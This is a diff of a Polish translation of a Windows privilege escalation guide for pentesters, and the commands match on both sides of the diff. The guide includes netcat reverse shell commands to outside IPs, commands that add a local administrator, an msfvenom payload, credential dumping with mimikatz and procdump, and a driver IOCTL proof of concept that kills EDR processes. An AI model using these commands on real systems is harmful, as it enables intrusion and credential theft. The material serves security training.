następującą stronę, aby **dowiedzieć się o interesujących tokenach** i jak je wykorzystać: {{#ref}} @@ -387,12 +385,12 @@ net accounts ```bash powershell -command "Get-Clipboard" ``` -## Uruchomione procesy +## Działające procesy ### Uprawnienia plików i folderów -Przede wszystkim podczas listowania procesów **sprawdź, czy w linii poleceń procesu znajdują się hasła**.\ -Sprawdź, czy możesz **nadpisać jakiś uruchomiony binary** lub czy masz uprawnienia zapisu do folderu z binary, aby wykorzystać możliwe [**DLL Hijacking attacks**](dll-hijacking/index.html): +Przede wszystkim, przy listowaniu procesów **sprawdź, czy w linii poleceń procesu nie ma haseł**.\ +Sprawdź, czy możesz **nadpisać uruchomiony binary** lub czy masz uprawnienia zapisu do folderu z binary, aby wykorzystać możliwe [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -403,9 +401,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Zawsze sprawdzaj, czy nie działają [**electron/cef/chromium debuggers** działają, możesz to wykorzystać do eskalacji uprawnień](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Sprawdzanie uprawnień binarek procesów** +**Sprawdzanie uprawnień plików binarnych procesów** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -414,7 +412,7 @@ icacls "%%z" ) ) ``` -**Sprawdzanie uprawnień folderów z plikami binarnymi procesów (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Sprawdzanie uprawnień folderów zawierających binaria procesów (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -422,21 +420,21 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone todos %username%" && echo. ) ``` -### Memory Password mining +### Wydobywanie haseł z pamięci -Możesz utworzyć zrzut pamięci uruchomionego procesu za pomocą **procdump** z sysinternals. Usługi takie jak FTP mają **credentials in clear text in memory**, spróbuj zrzucić pamięć i odczytać credentials. +Możesz stworzyć zrzut pamięci działającego procesu używając **procdump** ze sysinternals. Usługi takie jak FTP mają **credentials in clear text in memory**, spróbuj zrzucić pamięć i odczytać credentials. ```bash procdump.exe -accepteula -ma ``` -### Niezabezpieczone aplikacje GUI +### Niebezpieczne aplikacje GUI -**Aplikacje działające jako SYSTEM mogą pozwolić użytkownikowi na uruchomienie CMD lub przeglądanie katalogów.** +**Aplikacje uruchomione jako SYSTEM mogą pozwolić użytkownikowi na uruchomienie CMD lub przeglądanie katalogów.** Przykład: "Windows Help and Support" (Windows + F1), wyszukaj "command prompt", kliknij "Click to open Command Prompt" ## Usługi -Uzyskaj listę usług: +Wyświetl listę usług: ```bash net start wmic service list brief @@ -445,15 +443,15 @@ Get-Service ``` ### Uprawnienia -Możesz użyć **sc**, aby uzyskać informacje o usłudze +Możesz użyć **sc**, aby uzyskać informacje o usłudze. ```bash sc qc ``` -Zaleca się posiadanie binarki **accesschk** z _Sysinternals_, aby sprawdzić wymagany poziom uprawnień dla każdej usługi. +Zaleca się mieć binarkę **accesschk** z _Sysinternals_, aby sprawdzić wymagany poziom uprawnień dla każdej usługi. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Zaleca się sprawdzić, czy "Authenticated Users" mogą modyfikować dowolną usługę: +Zaleca się sprawdzenie, czy "Authenticated Users" mogą modyfikować jakąkolwiek usługę: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -464,25 +462,25 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ### Włącz usługę -Jeśli występuje ten błąd (na przykład w przypadku SSDPSRV): +Jeśli występuje ten błąd (na przykład przy SSDPSRV): -_Wystąpił błąd systemowy 1058._\ -_Usługa nie może zostać uruchomiona, ponieważ jest wyłączona lub nie ma powiązanych z nią włączonych urządzeń._ +_System error 1058 has occurred._\ +_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ -Możesz ją włączyć, używając +Możesz ją włączyć za pomocą ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**Weź pod uwagę, że usługa upnphost zależy od SSDPSRV, aby działać (dla XP SP1)** +**Weź pod uwagę, że usługa upnphost wymaga SSDPSRV, aby działać (dla XP SP1)** **Inne obejście** tego problemu to uruchomienie: ``` sc.exe config usosvc start= auto ``` -### **Zmiana ścieżki pliku binarnego usługi** +### **Zmodyfikuj ścieżkę pliku binarnego usługi** -W scenariuszu, w którym grupa "Authenticated users" posiada **SERVICE_ALL_ACCESS** dla usługi, możliwa jest modyfikacja wykonywalnego pliku binarnego usługi. Aby zmodyfikować i uruchomić **sc**: +W scenariuszu, w którym grupa "Authenticated users" posiada **SERVICE_ALL_ACCESS** na usłudze, możliwa jest modyfikacja pliku wykonywalnego (binarnego) tej usługi. Aby zmodyfikować i uruchomić **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -490,40 +488,40 @@ sc config binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" ``` -### Uruchom ponownie usługę +### Ponowne uruchomienie usługi ```bash wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Eskalację uprawnień można osiągnąć dzięki różnym uprawnieniom: +Uprawnienia można eskalować za pomocą różnych praw: -- **SERVICE_CHANGE_CONFIG**: Pozwala na rekonfigurację binarki usługi. -- **WRITE_DAC**: Umożliwia rekonfigurację uprawnień, co prowadzi do możliwości zmiany konfiguracji usług. -- **WRITE_OWNER**: Pozwala na przejęcie właścicielstwa i rekonfigurację uprawnień. +- **SERVICE_CHANGE_CONFIG**: Umożliwia rekonfigurację pliku binarnego usługi. +- **WRITE_DAC**: Zezwala na rekonfigurację uprawnień, co prowadzi do możliwości zmiany konfiguracji usług. +- **WRITE_OWNER**: Pozwala na przejęcie własności i rekonfigurację uprawnień. - **GENERIC_WRITE**: Dziedziczy możliwość zmiany konfiguracji usług. - **GENERIC_ALL**: Również dziedziczy możliwość zmiany konfiguracji usług. Do wykrywania i eksploatacji tej luki można użyć _exploit/windows/local/service_permissions_. -### Słabe uprawnienia plików binarnych usług +### Services binaries weak permissions -**Sprawdź, czy możesz zmodyfikować binarkę uruchamianą przez usługę** lub czy masz **uprawnienia zapisu w folderze** w którym binarka się znajduje ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Możesz uzyskać listę wszystkich binarek uruchamianych przez usługę przy użyciu **wmic** (nie w system32) i sprawdzić swoje uprawnienia za pomocą **icacls**: +**Sprawdź, czy możesz zmodyfikować binarkę, która jest wykonywana przez usługę** lub czy masz **uprawnienia do zapisu w folderze**, w którym znajduje się binarka ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Możesz uzyskać wszystkie binarki uruchamiane przez usługę za pomocą **wmic** (nie w system32) i sprawdzić swoje uprawnienia używając **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -Możesz również użyć **sc** i **icacls**: +Możesz także użyć **sc** i **icacls**: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Uprawnienia do modyfikacji rejestru usług +### Uprawnienia modyfikacji rejestru usług -Powinieneś sprawdzić, czy możesz zmodyfikować dowolny rejestr usług.\ -Możesz **sprawdzić** swoje **uprawnienia** względem rejestru **usług** wykonując: +Sprawdź, czy możesz modyfikować jakikolwiek rejestr usług.\ +Możesz **sprawdzić** swoje **uprawnienia** wobec rejestru **usług** wykonując: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -532,15 +530,16 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Należy sprawdzić, czy **Authenticated Users** lub **NT AUTHORITY\INTERACTIVE** posiadają uprawnienia `FullControl`. Jeśli tak, plik binarny uruchamiany przez usługę można zmodyfikować. +Należy sprawdzić, czy **Authenticated Users** lub **NT AUTHORITY\INTERACTIVE** posiadają uprawnienia `FullControl`. Jeśli tak, binary wykonywany przez usługę można zmodyfikować. -Aby zmienić ścieżkę do uruchamianego pliku binarnego: +Aby zmienić Path uruchamianego binary: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Uprawnienia AppendData/AddSubdirectory w rejestrze usług +### Rejestr usług AppendData/AddSubdirectory permissions + +Jeśli masz to uprawnienie w odniesieniu do rejestru, oznacza to, że **możesz tworzyć podrejestry z tego rejestru**. W przypadku usług Windows jest to **wystarczające, aby wykonać dowolny kod:** -Jeśli posiadasz to uprawnienie dla rejestru, oznacza to, że **możesz tworzyć podrejestry z tego rejestru**. W przypadku usług Windows jest to **wystarczające do wykonania dowolnego kodu:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md @@ -548,15 +547,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -Jeśli ścieżka do pliku wykonywalnego nie jest ujęta w cudzysłowy, Windows spróbuje uruchomić każdy fragment przed spacją. +Jeśli ścieżka do pliku wykonywalnego nie jest otoczona cudzysłowami, Windows spróbuje wykonać każdy fragment ścieżki przed spacją. -For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: +Na przykład, dla ścieżki _C:\Program Files\Some Folder\Service.exe_ Windows spróbuje wykonać: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Wypisz wszystkie niezacytowane ścieżki usług, z wyłączeniem tych należących do wbudowanych usług systemu Windows: +Wypisz wszystkie ścieżki usług bez cudzysłowów, z wyłączeniem tych należących do wbudowanych usług Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -576,21 +575,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -Możesz wykryć i exploitować tę podatność za pomocą metasploit: `exploit/windows/local/trusted_service_path` - -Możesz ręcznie utworzyć plik binarny usługi za pomocą metasploit: +**Możesz wykryć i wykorzystać** tę podatność za pomocą metasploit: `exploit/windows/local/trusted\_service\_path` Możesz ręcznie utworzyć plik binarny usługi za pomocą metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Akcje odzyskiwania -Windows pozwala użytkownikom określić akcje, które mają zostać wykonane w przypadku awarii usługi. Ta funkcja może być skonfigurowana tak, aby wskazywała na binary. Jeśli ten binary można zastąpić, privilege escalation może być możliwa. Więcej szczegółów można znaleźć w [official documentation](). +Windows pozwala użytkownikom określić akcje, które mają być wykonane, jeśli usługa zakończy się niepowodzeniem. Funkcję tę można skonfigurować tak, aby wskazywała na binarkę. Jeśli tę binarkę da się zastąpić, może być możliwa eskalacja uprawnień. Więcej szczegółów znajduje się w [oficjalnej dokumentacji](). ## Aplikacje ### Zainstalowane aplikacje -Sprawdź **permissions of the binaries** (może uda ci się overwrite jeden z nich i escalate privileges) oraz **folders** ([DLL Hijacking](dll-hijacking/index.html)). +Sprawdź **uprawnienia plików binarnych** (możesz nadpisać któryś z nich i eskalować uprawnienia) oraz **uprawnienia folderów** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -599,11 +596,11 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### Uprawnienia zapisu +### Uprawnienia do zapisu -Sprawdź, czy możesz zmodyfikować jakiś plik konfiguracyjny, aby odczytać jakiś specjalny plik lub czy możesz zmodyfikować jakiś binarny plik, który zostanie wykonany przez konto Administratora (schedtasks). +Sprawdź, czy możesz zmodyfikować jakiś plik konfiguracyjny, aby odczytać określony plik, albo czy możesz zmodyfikować plik binarny, który zostanie uruchomiony na koncie Administratora (schedtasks). -Jednym ze sposobów znalezienia słabych uprawnień folderów/plików w systemie jest wykonanie: +Sposób na znalezienie słabych uprawnień folderów/plików w systemie to: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -628,8 +625,8 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Uruchamianie przy starcie -**Sprawdź, czy możesz nadpisać jakiś wpis w rejestrze lub binarkę, która zostanie uruchomiona przez innego użytkownika.**\ -**Przeczytaj** **następującą stronę**, aby dowiedzieć się więcej o interesujących **autoruns locations to escalate privileges**: +**Sprawdź, czy możesz nadpisać jakiś klucz rejestru lub binarkę, która zostanie uruchomiona przez innego użytkownika.**\ +**Przeczytaj** **następującą stronę**, aby dowiedzieć się więcej o interesujących **lokacjach autoruns do eskalacji uprawnień**: {{#ref}} @@ -638,29 +635,29 @@ privilege-escalation-with-autorun-binaries.md ### Sterowniki -Szukaj potencjalnych **sterowników stron trzecich, dziwnych/podatnych** +Szukaj możliwych **firm trzecich dziwnych/podatnych** sterowników ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Jeśli sterownik ujawnia arbitralny kernel read/write primitive (częste w źle zaprojektowanych handlerach IOCTL), możesz eskalować, kradnąc token SYSTEM bezpośrednio z pamięci jądra. Zobacz technikę krok‑po‑kroku tutaj: +Jeśli sterownik udostępnia arbitralny prymityw odczytu/zapisu w kernelu (częste w słabo zaprojektowanych handlerach IOCTL), można eskalować, kradnąc SYSTEM token bezpośrednio z pamięci jądra. Zobacz technikę krok po kroku tutaj: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} -#### Wykorzystywanie braku FILE_DEVICE_SECURE_OPEN w obiektach urządzeń (LPE + EDR kill) +#### Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill) -Niektóre podpisane sterowniki third‑party tworzą swój obiekt urządzenia z silnym SDDL przez IoCreateDeviceSecure, ale zapominają ustawić FILE_DEVICE_SECURE_OPEN w DeviceCharacteristics. Bez tego flagi, secure DACL nie jest egzekwowany, gdy urządzenie jest otwierane przez ścieżkę zawierającą dodatkowy komponent, pozwalając dowolnemu nieuprzywilejowanemu użytkownikowi uzyskać uchwyt używając namespace path takiej jak: +Niektóre podpisane sterowniki firm trzecich tworzą swój obiekt urządzenia z silnym SDDL za pomocą IoCreateDeviceSecure, ale zapominają ustawić FILE_DEVICE_SECURE_OPEN w DeviceCharacteristics. Bez tego flagu bezpieczny DACL nie jest egzekwowany, gdy urządzenie jest otwierane przez ścieżkę zawierającą dodatkowy element, co pozwala każdemu nieuprzywilejowanemu użytkownikowi uzyskać uchwyt używając ścieżki przestrzeni nazw takiej jak: -- \\.\DeviceName\anything -- \\.\amsdk\anyfile (from a real-world case) +- \\ .\\DeviceName\\anything +- \\ .\\amsdk\\anyfile (from a real-world case) -Gdy użytkownik może otworzyć urządzenie, uprzywilejowane IOCTLs udostępnione przez sterownik mogą być nadużywane do LPE i tampering. Przykładowe możliwości zaobserwowane w praktyce: -- Zwracanie uchwytów z pełnym dostępem do dowolnych procesów (token theft / SYSTEM shell przez DuplicateTokenEx/CreateProcessAsUser). -- Nieograniczony raw disk read/write (offline tampering, boot-time persistence tricks). -- Kończenie dowolnych procesów, w tym Protected Process/Light (PP/PPL), umożliwiając AV/EDR kill z user land przez kernel. +Gdy użytkownik może otworzyć urządzenie, uprzywilejowane IOCTLs udostępnione przez sterownik mogą być nadużyte do LPE i manipulacji. Przykładowe możliwości zaobserwowane w praktyce: +- Zwrócenie uchwytów z pełnym dostępem do dowolnych procesów (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). +- Nieograniczony surowy odczyt/zapis dysku (offline tampering, boot-time persistence tricks). +- Zakończenie dowolnych procesów, włącznie z Protected Process/Light (PP/PPL), umożliwiając AV/EDR kill z poziomu user land poprzez kernel. Minimalny wzorzec PoC (user mode): ```c @@ -674,25 +671,24 @@ DWORD target = /* PID to kill or open */; DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); ``` -Środki zaradcze dla deweloperów -- Zawsze ustaw FILE_DEVICE_SECURE_OPEN podczas tworzenia obiektów urządzeń, które mają być ograniczone przez DACL. -- Weryfikuj kontekst wywołującego dla uprzywilejowanych operacji. Dodaj PP/PPL checks przed pozwoleniem na zakończenie procesu lub zwrotem uchwytów. -- Ogranicz IOCTLs (access masks, METHOD_*, walidacja wejścia) i rozważ modele brokered zamiast bezpośrednich uprawnień jądra. - -Pomysły wykrywania dla obrońców -- Monitoruj otwarcia w trybie użytkownika podejrzanych nazw urządzeń (e.g., \\ .\\amsdk*) oraz specyficzne sekwencje IOCTL wskazujące na nadużycie. -- Egzekwuj Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) i utrzymuj własne allow/deny lists. +Zabezpieczenia dla deweloperów +- Zawsze ustaw FILE_DEVICE_SECURE_OPEN przy tworzeniu device objects przeznaczonych do ograniczenia przez DACL. +- Weryfikuj kontekst wywołującego dla operacji uprzywilejowanych. Dodaj kontrole PP/PPL przed zezwoleniem na zakończenie procesu lub zwrot uchwytów. +- Ogranicz IOCTLs (access masks, METHOD_*, input validation) i rozważ modele brokered zamiast bezpośrednich uprawnień kernela. +Pomysły na detekcję dla obrońców +- Monitoruj user-mode otwarcia podejrzanych nazw urządzeń (e.g., \\ .\\amsdk*) oraz konkretne sekwencje IOCTL wskazujące na nadużycie. +- Wymuszaj blocklistę Microsoft dla podatnych sterowników (HVCI/WDAC/Smart App Control) i utrzymuj własne listy allow/deny. ## PATH DLL Hijacking -Jeśli masz **write permissions inside a folder present on PATH**, możesz przejąć DLL ładowaną przez proces i **escalate privileges**. +Jeśli masz **uprawnienia do zapisu w folderze znajdującym się w PATH** możesz być w stanie przejąć DLL ładowaną przez proces i **escalate privileges**. Sprawdź uprawnienia wszystkich folderów znajdujących się w PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Więcej informacji o tym, jak wykorzystać tę kontrolę: +Aby uzyskać więcej informacji o tym, jak nadużyć tej kontroli: {{#ref}} @@ -711,7 +707,7 @@ net share #Check current shares ``` ### hosts file -Sprawdź, czy w hosts file znajdują się wpisy innych znanych komputerów. +Sprawdź, czy w hosts file znajdują się inne znane komputery na stałe zapisane. ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -721,36 +717,36 @@ ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Open Ports +### Otwarte porty -Sprawdź z zewnątrz, czy dostępne są **usługi z ograniczonym dostępem** +Sprawdź, czy z zewnątrz dostępne są **usługi o ograniczonym dostępie** ```bash netstat -ano #Opened ports? ``` -### Tablica routingu +### Tabela routingu ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` -### Tablica ARP +### Tabela ARP ``` arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Reguły zapory +### Firewall Rules -[**Sprawdź tę stronę pod kątem poleceń związanych z zaporą**](../basic-cmd-for-pentesters.md#firewall) **(wyświetl reguły, utwórz reguły, wyłącz, wyłącz...)** +[**Sprawdź tę stronę dla poleceń związanych z Firewall**](../basic-cmd-for-pentesters.md#firewall) **(lista reguł, tworzenie reguł, wyłączanie, wyłączanie...)** -Więcej[ poleceń do enumeracji sieci tutaj](../basic-cmd-for-pentesters.md#network) +Więcej [poleceń do enumeracji sieci tutaj](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -Plik binarny `bash.exe` można też znaleźć w `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` +Plik binarny `bash.exe` można również znaleźć w `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Jeśli uzyskasz root user, możesz nasłuchiwać na dowolnym porcie (przy pierwszym użyciu `nc.exe` do nasłuchiwania na porcie pojawi się okienko GUI z pytaniem, czy `nc` powinien zostać dozwolony przez zaporę). +Jeśli uzyskasz uprawnienia roota, możesz nasłuchiwać na dowolnym porcie (przy pierwszym użyciu `nc.exe` do nasłuchu na porcie GUI zapyta, czy `nc` powinien zostać dozwolony przez zaporę). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -775,14 +771,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Menadżer poświadczeń / Windows vault +### Menedżer poświadczeń / Windows Vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault przechowuje poświadczenia użytkowników dla serwerów, stron internetowych i innych programów, do których **Windows** może **automatycznie zalogować użytkowników**. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą przechowywać swoje poświadczenia do Facebook, Twitter, Gmail itp., aby automatycznie logować się przez przeglądarki. Jednak tak nie jest. +Windows Vault przechowuje poświadczenia użytkowników do serwerów, stron internetowych i innych programów, do których **Windows** może **automatycznie logować użytkowników**. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą przechowywać poświadczenia do Facebooka, Twittera, Gmaila itp., aby automatycznie logować się za pomocą przeglądarek. Jednak tak nie jest. -Windows Vault przechowuje poświadczenia, których Windows może użyć do automatycznego logowania użytkowników, co oznacza, że każda **aplikacja Windows, która potrzebuje poświadczeń do uzyskania dostępu do zasobu** (serwera lub strony internetowej) **może korzystać z tego Credential Manager** & Windows Vault i użyć zapisanych poświadczeń zamiast tego, żeby użytkownicy za każdym razem wpisywali nazwę użytkownika i hasło. +Windows Vault przechowuje poświadczenia, dzięki którym Windows może automatycznie logować użytkowników, co oznacza, że każda **aplikacja Windows, która potrzebuje poświadczeń do uzyskania dostępu do zasobu** (serwera lub strony internetowej) **może korzystać z tego Credential Manager** & Windows Vault oraz używać dostarczonych poświadczeń zamiast wymagać od użytkowników ciągłego wpisywania nazwy użytkownika i hasła. -Jeśli aplikacje nie współpracują z Credential Manager, nie sądzę, żeby mogły użyć poświadczeń dla danego zasobu. Zatem jeśli Twoja aplikacja chce korzystać z vault, powinna w jakiś sposób **komunikować się z credential manager i żądać poświadczeń dla tego zasobu** z domyślnego vault. +Jeżeli aplikacje nie komunikują się z Credential Manager, nie sądzę, żeby mogły użyć poświadczeń dla danego zasobu. Jeśli więc twoja aplikacja ma korzystać z vault, powinna w jakiś sposób **komunikować się z Credential Manager i żądać poświadczeń dla tego zasobu** z domyślnego magazynu. Użyj `cmdkey`, aby wyświetlić zapisane poświadczenia na maszynie. ```bash @@ -792,7 +788,7 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Następnie możesz użyć `runas` z opcją `/savecred`, aby skorzystać z zapisanych poświadczeń. Poniższy przykład wywołuje zdalny plik binarny za pośrednictwem udziału SMB. +Następnie możesz użyć `runas` z opcją `/savecred`, aby skorzystać z zapisanych poświadczeń. Poniższy przykład uruchamia zdalny plik binarny przez udział SMB. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` @@ -800,7 +796,7 @@ Użycie `runas` z dostarczonym zestawem poświadczeń. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Należy zauważyć, że mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), lub moduł PowerShell projektu Empire ([Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1)). +Zauważ, że mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), lub [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI @@ -808,33 +804,33 @@ The **Data Protection API (DPAPI)** provides a method for symmetric encryption o **DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. In scenarios involving system encryption, it utilizes the system's domain authentication secrets. -Zaszyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu `%APPDATA%\Microsoft\Protect\{SID}`, gdzie `{SID}` reprezentuje [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **Klucz DPAPI, współlokowany z kluczem głównym, który zabezpiecza prywatne klucze użytkownika w tym samym pliku**, zazwyczaj składa się z 64 bajtów losowych danych. (Ważne jest, aby zauważyć, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wylistowanie jego zawartości za pomocą polecenia `dir` w CMD, choć można to zrobić przez PowerShell). +Szyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu %APPDATA%\Microsoft\Protect\{SID}, gdzie {SID} oznacza użytkownika [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **Klucz DPAPI, współlokowany z kluczem głównym, który zabezpiecza prywatne klucze użytkownika w tym samym pliku**, zazwyczaj składa się z 64 bajtów losowych danych. (Ważne jest, że dostęp do tego katalogu jest ograniczony — nie można wyświetlić jego zawartości poleceniem `dir` w CMD, choć można ją wymienić przez PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Możesz użyć **mimikatz module** `dpapi::masterkey` z odpowiednimi argumentami (`/pvk` lub `/rpc`), aby to odszyfrować. +Możesz użyć **mimikatz module** `dpapi::masterkey` z odpowiednimi argumentami (`/pvk` lub `/rpc`), aby odszyfrować. -**Pliki poświadczeń chronione hasłem głównym** zwykle znajdują się w: +Pliki **credentials files protected by the master password** zazwyczaj znajdują się w: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Możesz użyć **mimikatz module** `dpapi::cred` z odpowiednim `/masterkey` aby odszyfrować.\ -Możesz **wyekstrahować wiele DPAPI** **masterkeys** z **pamięci** przy użyciu modułu `sekurlsa::dpapi` (jeśli jesteś root). +Możesz użyć **mimikatz module** `dpapi::cred` z odpowiednim `/masterkey`, aby odszyfrować.\ +Możesz **wydobyć wiele DPAPI** **masterkeys** z **pamięci** za pomocą modułu `sekurlsa::dpapi` (jeśli jesteś root). {{#ref}} dpapi-extracting-passwords.md {{#endref}} -### PowerShell Credentials +### Poświadczenia PowerShell -**PowerShell credentials** są często używane do **scripting** i zadań automatyzacji jako wygodny sposób przechowywania zaszyfrowanych poświadczeń. Poświadczenia są chronione za pomocą **DPAPI**, co zwykle oznacza, że można je odszyfrować tylko tym samym użytkownikiem na tym samym komputerze, na którym zostały utworzone. +**PowerShell credentials** są często używane do **scripting** i zadań automatyzacji jako wygodny sposób przechowywania zaszyfrowanych poświadczeń. Poświadczenia są chronione przy użyciu **DPAPI**, co zazwyczaj oznacza, że można je odszyfrować tylko tym samym użytkownikiem na tym samym komputerze, na którym zostały utworzone. -Aby **odszyfrować** PS credentials z pliku, który je zawiera, możesz wykonać: +Aby **odszyfrować** poświadczenia PS z pliku je zawierającego, możesz zrobić: ```bash PS C:\> $credential = 